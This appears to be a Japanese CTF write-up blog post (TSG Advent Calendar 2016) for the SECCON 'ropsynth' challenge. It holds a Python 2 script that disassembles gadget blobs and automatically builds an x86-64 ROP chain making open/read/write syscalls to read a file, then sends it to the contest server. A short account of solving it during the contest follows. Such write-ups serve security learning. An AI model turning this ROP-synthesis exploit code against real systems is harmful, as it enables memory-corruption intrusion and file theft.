0QV1JgfU3nGxYSYHFvTGrAEmBxXnxR3ZJgfVYfMs9SYHFwlxND0mBxdK5gT9Jgf2m4Z1DdAL09MM=
"""

samp3 = """
9FhBW0mB82cGQmBJgftIHOgPdAj09PT09PT09FtIges7e1NoSIHrWFk6ekiB8xzig3tIgcM7+qsxSIHrz/I7e0iB81oFc1JIgfuEO8k8dAX09PT09FlIgfGvyShwSIHxHuazekiB6cvN+mBIgelrqc9FSIHpMlCXNEiB8REPtntIgfHggxp5SIH5lbj6F3QG9PT09PT0w/T09PT09A8FQVtJgcOofuUJSYHDD8+jPEmBwwJcDUtJgfNs8bUrSYHzDglqX0mB8xwKT0hJgcNKw6MmSYH78k2mNXQD9PT0QV9Jge+tN8R4SYH/ATtWbHQC9PRBX0mB76kCGmZJgff5zo4XSYH/ZIIpa3QD9PT0XUiB7U5KoTFIge1p9+kPSIH1S19ZJUiB/WxfYlR0CfT09PT09PT09EFdSYH1Gc72RkmB7TMuiDBJge0hFT4WSYHFjghODkmBxfKcEyFJgf3tcJskdAn09PT09PT09PRBXkmBxmTIvSVJge4h/zJQSYHGLx6KY0mBxk9j9m5JgfbB1OtQSYHG4dgBZEmB/vdCFkh0BfT09PT0w/T09PT09PT0UF9BW0mB62VPohRJgcNQB+F8SYHzilY1EUmBw11X2ztJgevF899GSYHD0S7/HkmB81Fx6zxJgfs4aFIQdAf09PT09PT0W0iB8zgTuVJIgcND9EB+SIHrt4HJNEiB+wuG/Rp0BvT09PT09EFbSYHzKXswNEmBwys95S1JgfN0JJwESYHzntvLe0mB83LspzlJgevcmap1SYH7K6knanQG9PT09PT0QVxJgewZbFsJSYHEdGNDIkmB9CHFgiBJgfSfAfASSYHsWIwmA0mBxNGPPRlJgfzgBI9GdAP09PRZSIHxjATBZEiBwRm+xDlIgfGGJNsdSIH5RJcmR3QH9PT09PT09EFbSYHzppG5ekmBw8S1JRtJgetRkAglSYHzM6XTKEmB8+NWWEhJgfOfJ69XSYHrk0VeU0mB684LQm1JgfuClwoYdAX09PT09MP09PT09PReQVxJgew+0d0xSYH0SfpzP0mBxDYI6B9Jgfye494vdAb09PT09PRdSIHF+p0LP0iB7aaVowJIgf2Uf4RudAL09FtIgevdtjh8SIHDPXmWAUiB8ySRhlBIgcNCSWoUSIHzVTc+S0iB+8tFWjx0BPT09PRbSIHz92qaH0iB66rs/0BIgfv2NToFdAP09PRBXkmBxlpU70VJgca5sQsPSYHGPiQzYUmB7slTjTNJgf7Nkh8PdAX09PT09EFfSYHvj0StVkmBx6cZ+DJJgccBH6dXSYHv2ny6KkmBx+25lGdJgcd3FwUNSYHHQg95IEmB/3ZCAhB0A/T09EFbSYHDETU7fkmB+8vTNzN0A/T09EFcSYH0WPxJFUmB7H51U3FJgfSos6piSYH8uOLbd3QI9PT09PT09PTD9PT09PT09FBaQVtJgfMZdYsTSYHzRmFXZEmB69j//kVJgcOeGzQWSYHz2HCCYkmB8/LDMmRJgfNQepVVSYHDWtRaPkmB++0/si90BPT09PRBXEmB9I2Gh39JgfR/w1QhSYHE7QHCJ0mB/A8Xuil0CfT09PT09PT09EFdSYH1CRy5aEmB9XPKLW1Jge1w1V4CSYH9iaJZWnQH9PT09PT09EFfSYHvUBc6UUmBx1y7ET1JgceG1AVSSYHH287RV0mB75OGoWVJgfeFoIB+SYH3WvCDR0mBx5B3jWRJgf9HgbgsdAT09PT0ww==
"""
import base64

def b642asm(s):
	with open('ob.txt','w') as fp:
		fp.write(s)
	os.system('base64 -d < ob.txt > bin')
	os.system('objdump -D -Mintel,x86-64 -b binary -m i386 bin > objd.txt')
	with open('objd.txt','r') as fp:
		ss = fp.readlines()
	return ss

size_t = 0x8 #x64かx86か。sizeof(void*) の値で。

def addr2s(x):
	res = ""
	for i in xrange(size_t):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(size_t):
		res *= 256
		res += ord(s[size_t-i-1])
	return res
	
def b642rop(s):
	print s
	ss = b642asm(s)
	ss = map(lambda x: x.split('\t'),ss)
	ss = filter(lambda x: len(x)==3,ss)
	ss = map(lambda x: (x[0],x[2]),ss)
	for d in ss:
		pass
		#print d
	res = []
	nd = [] #rdi rsi rax
	for d in ss:
		if d[1]=='hlt    \n':
			continue
		#if 'rdx' in d[1]: #rdi rsi rdx rax
		#	print d
		nd.append(d)
		if d[1]=='ret    \n':
			res.append(nd)
			nd = []

	dat = {}
	for i,ds in enumerate(res):
		gyo = ds[0][0]
		for g,d in ds:
			if 'rdi' in d:
				dat['rdi']=i
				break
			elif 'rsi' in d:
				dat['rsi']=i
				break
			elif 'rdx' in d:
				dat['rdx']=i
				break
			elif 'syscall' in d:
				dat['sys']=i
				break
			elif 'pop' in d and 'rax' in d:
				dat['rax']=i
				break
	print dat
	

	# 0x00800000: gadgets
	# 0x00a00000: data region
  
	#2 0 1
  
	def tadd(x,q):
		return (x - q) 	
	def tsub(x,q):
		return (x + q)
	def txor(x,q):
		return x ^ q
  	
 
	def call(qs,x=-1):
		dx = res[dat[qs]]
		tp = addr2s(int(res[dat[qs]][0][0][:-1],16) + 0x00800000) 
		ress = "" #addr2s(int(res[dat[qs]][0][0][:-1],16) + 0x00800000) 
		nx = -1
		for d in dx[::-1]:
			if 'je' in d[1]:
				continue
			if 'ret' in d[1]:
				continue
			if 'syscall' in d[1]:
				continue
			elif 'push' in d[1]:
				continue
			elif 'cmp' in d[1]:
				nx = int(d[1].split(',')[1],16)
				#print d[1],hex(nx)
			elif 'pop' in d[1]:
				#print d[1]
				if 'rdx' in d[1] or 'rdi' in d[1]:
					continue
				elif qs in d[1]:
					ress = addr2s(x) + ress
					continue
				else:
					ress = addr2s(nx) + ress
				continue
			else:
				if 'add' in d[1]:
					nx = tadd(nx,int(d[1].split(',')[1],16))
				elif 'sub' in d[1]:
					nx = tsub(nx,int(d[1].split(',')[1],16))
				elif 'xor' in d[1]:
					nx = txor(nx,int(d[1].split(',')[1],16))
				else:
					print 'undefined!!'
					print d[1]
		ress = tp + ress
		return ress
	 
	da_reg = 0x00a00000
	buf = 0x00a00010
	#print res[dat['rsi']][0][0]
	#rops = addr2s(int(res[dat['rsi']][0][0][:-1],16) + 0x00800000) 
	rops = ""
	rops += call('rsi',0)
 	rops += call('rax',0)
	rops += call('rdx')
	rops += call('rax',da_reg)
	rops += call('rdi')
 	rops += call('rax',2)
 	rops += call('sys')
 	
	rops += call('rdi')
	rops += call('rsi',buf)
 	rops += call('rax',256)
	rops += call('rdx')
 	rops += call('rax',0)
 	rops += call('sys')
 		
	rops += call('rdx')
 	rops += call('rax',1)
	rops += call('rdi')
	rops += call('rsi',buf)
 	rops += call('rax',1)
 	rops += call('sys')
	
	rops = base64.b64encode(rops)
	return rops

#coding: utf-8
from socket import *
import time


#sudo gdb -q -p `pidof -s execfile` -x gdbcmd
#socat TCP-L:10001,reuseaddr,fork EXEC:./execfile

#./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt


nsq = """
9FhBW0mB82cGQmBJgftIHOgPdAj09PT09PT09FtIges7e1NoSIHrWFk6ekiB8xzig3tIgcM7+qsxSIHrz/I7e0iB81oFc1JIgfuEO8k8dAX09PT09FlIgfGvyShwSIHxHuazekiB6cvN+mBIgelrqc9FSIHpMlCXNEiB8REPtntIgfHggxp5SIH5lbj6F3QG9PT09PT0w/T09PT09A8FQVtJgcOofuUJSYHDD8+jPEmBwwJcDUtJgfNs8bUrSYHzDglqX0mB8xwKT0hJgcNKw6MmSYH78k2mNXQD9PT0QV9Jge+tN8R4SYH/ATtWbHQC9PRBX0mB76kCGmZJgff5zo4XSYH/ZIIpa3QD9PT0XUiB7U5KoTFIge1p9+kPSIH1S19ZJUiB/WxfYlR0CfT09PT09PT09EFdSYH1Gc72RkmB7TMuiDBJge0hFT4WSYHFjghODkmBxfKcEyFJgf3tcJskdAn09PT09PT09PRBXkmBxmTIvSVJge4h/zJQSYHGLx6KY0mBxk9j9m5JgfbB1OtQSYHG4dgBZEmB/vdCFkh0BfT09PT0w/T09PT09PT0UF9BW0mB62VPohRJgcNQB+F8SYHzilY1EUmBw11X2ztJgevF899GSYHD0S7/HkmB81Fx6zxJgfs4aFIQdAf09PT09PT0W0iB8zgTuVJIgcND9EB+SIHrt4HJNEiB+wuG/Rp0BvT09PT09EFbSYHzKXswNEmBwys95S1JgfN0JJwESYHzntvLe0mB83LspzlJgevcmap1SYH7K6knanQG9PT09PT0QVxJgewZbFsJSYHEdGNDIkmB9CHFgiBJgfSfAfASSYHsWIwmA0mBxNGPPRlJgfzgBI9GdAP09PRZSIHxjATBZEiBwRm+xDlIgfGGJNsdSIH5RJcmR3QH9PT09PT09EFbSYHzppG5ekmBw8S1JRtJgetRkAglSYHzM6XTKEmB8+NWWEhJgfOfJ69XSYHrk0VeU0mB684LQm1JgfuClwoYdAX09PT09MP09PT09PReQVxJgew+0d0xSYH0SfpzP0mBxDYI6B9Jgfye494vdAb09PT09PRdSIHF+p0LP0iB7aaVowJIgf2Uf4RudAL09FtIgevdtjh8SIHDPXmWAUiB8ySRhlBIgcNCSWoUSIHzVTc+S0iB+8tFWjx0BPT09PRbSIHz92qaH0iB66rs/0BIgfv2NToFdAP09PRBXkmBxlpU70VJgca5sQsPSYHGPiQzYUmB7slTjTNJgf7Nkh8PdAX09PT09EFfSYHvj0StVkmBx6cZ+DJJgccBH6dXSYHv2ny6KkmBx+25lGdJgcd3FwUNSYHHQg95IEmB/3ZCAhB0A/T09EFbSYHDETU7fkmB+8vTNzN0A/T09EFcSYH0WPxJFUmB7H51U3FJgfSos6piSYH8uOLbd3QI9PT09PT09PTD9PT09PT09FBaQVtJgfMZdYsTSYHzRmFXZEmB69j//kVJgcOeGzQWSYHz2HCCYkmB8/LDMmRJgfNQepVVSYHDWtRaPkmB++0/si90BPT09PRBXEmB9I2Gh39JgfR/w1QhSYHE7QHCJ0mB/A8Xuil0CfT09PT09PT09EFdSYH1CRy5aEmB9XPKLW1Jge1w1V4CSYH9iaJZWnQH9PT09PT09EFfSYHvUBc6UUmBx1y7ET1JgceG1AVSSYHH287RV0mB75OGoWVJgfeFoIB+SYH3WvCDR0mBx5B3jWRJgf9HgbgsdAT09PT0ww==
"""

print b642rop(nsq)

isgaibu = False
isgaibu = True

sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	sock.connect(("ropsynth.pwn.seccon.jp", 10000))
	#raw_input('gdb$')
		
else:
	sock.connect(("localhost", 10001))
	raw_input('gdb$')

for i in xrange(5):
	time.sleep(1)
	#s = sock.recv(4096)
	#print s.split('\n')
	s = sock.recv(4096)
	print s.split('\n')
	r =  b642rop(s.split('\n')[-2])
	print r
	sock.send(r+'\n')
for i in xrange(10):
	print sock.recv(1024)

大会中

chatを解き終わって9時をそれなりに回っていて、あと何をしようか、と相談するとこれを勧められる。
objdumpの結果を見るに、それなりにどうにかなりそうだと思えたので本腰をいれていく。
ROPの実行される状況とかをmoratorium氏に聞いたりしつつ、がりがりコードを書いていく。
こないだのHITCONのMOREでも似たような状況(moratorium氏と一緒にやっていて、プログラミングゲーで、それなりに残り時間がない)に陥っていたなー、とか思ったり、『Here is the flag! といってフラッグがこないだみたいな感じで降ってきたらやですねー』(縁起でもない!!)みたいなことを話したりしながら書いていく。
最初に書きあげて出すとNGと言われ、与えられたファイルを使って、手元で再現できるようにデバッグしたりする。(alarmを潰したりした)
終了10分前くらいに通ったので非常に気持ちがよかった。

感想

jmperとchatにあまりにも時間がかかってしまった。あんなに泥沼にはまるとは思っていなかった。
手元でデバッグできる環境はとても大事であることが分かったので次回からはもっとうまくやっていきたい。

大事なことをすっかり忘れていたので追記

この記事は、TSG Advent Calendar 2016 - Adventarの12日目の記事として書かれました。